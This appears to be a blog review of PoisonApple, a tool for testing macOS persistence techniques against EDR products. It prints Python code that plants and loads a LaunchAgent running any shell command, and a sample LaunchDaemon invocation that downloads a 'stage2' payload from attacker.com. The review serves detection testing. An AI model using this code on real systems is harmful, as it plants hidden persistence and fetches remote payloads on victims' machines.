PoisonApple: A Red Teamer's Guide to 16 macOS Persistence Techniques
Hook
Despite macOS's reputation for security, there are at least 16 documented ways malware can survive a reboot—and PoisonApple implements every single one of them in a command-line tool that's both terrifying and educational.
Context
Enterprise security teams face an asymmetric problem: attackers only need to find one persistence mechanism that goes undetected, while defenders must monitor for all of them. On macOS, this challenge is compounded by the operating system's unique architecture—LaunchAgents, LaunchDaemons, login hooks, periodic scripts, and a dozen other legitimate system features that malware can abuse to maintain persistence.
Historically, security professionals testing their macOS defenses had to manually implement each persistence technique or piece together scripts from disparate sources. Patrick Wardle's seminal research 'The Art of Mac Malware' documented how real threat actors leverage these mechanisms, but translating that knowledge into practical testing tools required significant effort. PoisonApple emerged to bridge this gap: a Python-based CLI tool that packages 16+ persistence techniques into a single testing framework, enabling red teams to quickly validate whether their EDR solutions actually detect the persistence methods documented in threat intelligence reports.
Technical Insight
PoisonApple's architecture centers on a modular design where each persistence technique is implemented as a discrete operation triggered by command-line flags. The tool accepts three primary parameters: the persistence method, a name for the persistence artifact, and optionally a custom command to execute. When no custom command is specified, it defaults to a validation payload that writes timestamps to ~/Desktop/PoisonApple-[technique].txt, creating an audit trail you can inspect to confirm execution.
Let's examine how it implements LaunchAgent persistence, one of the most common macOS persistence mechanisms. A LaunchAgent is a property list (plist) file that tells macOS to execute a program automatically, either at login or on a schedule:
def create_launch_agent(name, command):
plist_path = os.path.expanduser(f'~/Library/LaunchAgents/com.{name}.plist')
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.{name}</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>-c</string>
<string>{command}</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<false/>
</dict>
</plist>'''
with open(plist_path, 'w') as f:
f.write(plist_content)
os.system(f'launchctl load {plist_path}')
This implementation highlights PoisonApple's pragmatic approach: it directly manipulates the file system and invokes system commands rather than using higher-level APIs. The RunAtLoad key ensures execution at user login, while KeepAlive is set to false to avoid constantly respawning the process—a design choice that favors discrete validation over operational stealth.
The tool's coverage extends beyond Launch Services. It implements persistence through periodic scripts (/etc/periodic/daily/, /etc/periodic/weekly/), shell configuration files (.bashrc, .zshrc), login/logout hooks, Authorization Plugins, Emond (Event Monitor Daemon), and even rc.common scripts. Each technique exploits a different legitimate macOS subsystem, demonstrating the breadth of attack surface defenders must monitor.
For elevated persistence, PoisonApple implements LaunchDaemon creation, which requires root privileges but survives across all user contexts:
# Example invocation for LaunchDaemon persistence
sudo python3 poisonapple.py --technique LaunchDaemon \
--name UpdateChecker \
--command "/usr/bin/curl -o /tmp/payload https://attacker.com/stage2"
The LaunchDaemon plist is written to /Library/LaunchDaemons/ (note the system-level path versus the user-level ~/Library/LaunchAgents/), and the tool automatically invokes launchctl load to activate it immediately. This pattern—create artifact, then immediately register it with the relevant macOS subsystem—repeats across all persistence techniques.
What makes PoisonApple particularly valuable for security testing is its removal functionality. Each technique includes a corresponding cleanup function that removes the plist, script, or configuration entry and unloads it from the system. This allows security teams to iterate quickly: install a persistence mechanism, verify whether their EDR detects it, remove it cleanly, then test the next technique. The --remove flag paired with the technique name handles cleanup:
# Clean removal of LaunchAgent persistence
python3 poisonapple.py --technique LaunchAgent \
--name UpdateChecker --remove
The validation mechanism deserves special mention. When you run PoisonApple without specifying a custom command, it uses this default payload:
date >> ~/Desktop/PoisonApple-[technique].txt
This simple approach creates a timestamped log file on your Desktop every time the persistence mechanism triggers. After installing a LaunchAgent and logging out/back in, you should see a new file with a timestamp. If the file exists, persistence works. If it doesn't, either the technique failed or your security tooling blocked it—exactly the signal you're testing for. This design prioritizes observable validation over sophistication, which aligns perfectly with the tool's educational and testing mission.
Gotcha
PoisonApple ships with explicit warnings to use it only in virtual machines, and there's a good reason: it makes persistent changes to system configuration files that can affect system stability. While the removal functions work, edge cases exist. If you specify a custom command that contains syntax errors or references non-existent files, you might create persistence artifacts that fail silently or cause system errors. The tool performs minimal input validation on custom commands, trusting you to provide valid shell syntax.
The bigger limitation is detectability. PoisonApple implements well-documented, publicly known persistence techniques. Any competent EDR solution should flag most of these methods—LaunchAgent creation, modification of shell rc files, periodic script additions—as suspicious activity. This isn't a weakness per se; it's the entire point. You're testing whether your defenses work against known techniques. But if you're looking for novel, undetected persistence mechanisms for genuine red team operations, PoisonApple isn't the right tool. It's a validation framework, not an evasion toolkit.
Privilege requirements also create friction. Several techniques (LaunchDaemon, CronRoot, rc.common, system-level hooks) require root access, but the tool doesn't clearly document which techniques need elevation before execution. You'll discover this through trial and error or by reading the source code. Additionally, some techniques are deprecated in modern macOS versions—login hooks were officially deprecated in macOS 10.11, though they still function in some contexts. The tool doesn't validate compatibility with your specific macOS version, so you might spend time testing techniques that don't apply to your target environment.
Verdict
Use PoisonApple if you're building detection rules for a macOS EDR product, conducting purple team exercises to validate security controls, or educating yourself on the full spectrum of macOS persistence mechanisms documented in threat research. It's perfect for controlled lab environments where you want to rapidly test detection coverage across 16+ techniques without manually crafting each one. Skip it if you need operational security for genuine red team engagements (its techniques are too well-known), if you're working in production environments (system modification risks are real), or if you need cross-platform persistence testing—it's macOS-only by design. This is fundamentally a defensive tool masquerading as an offensive one: its real value is helping blue teams understand what good detection looks like.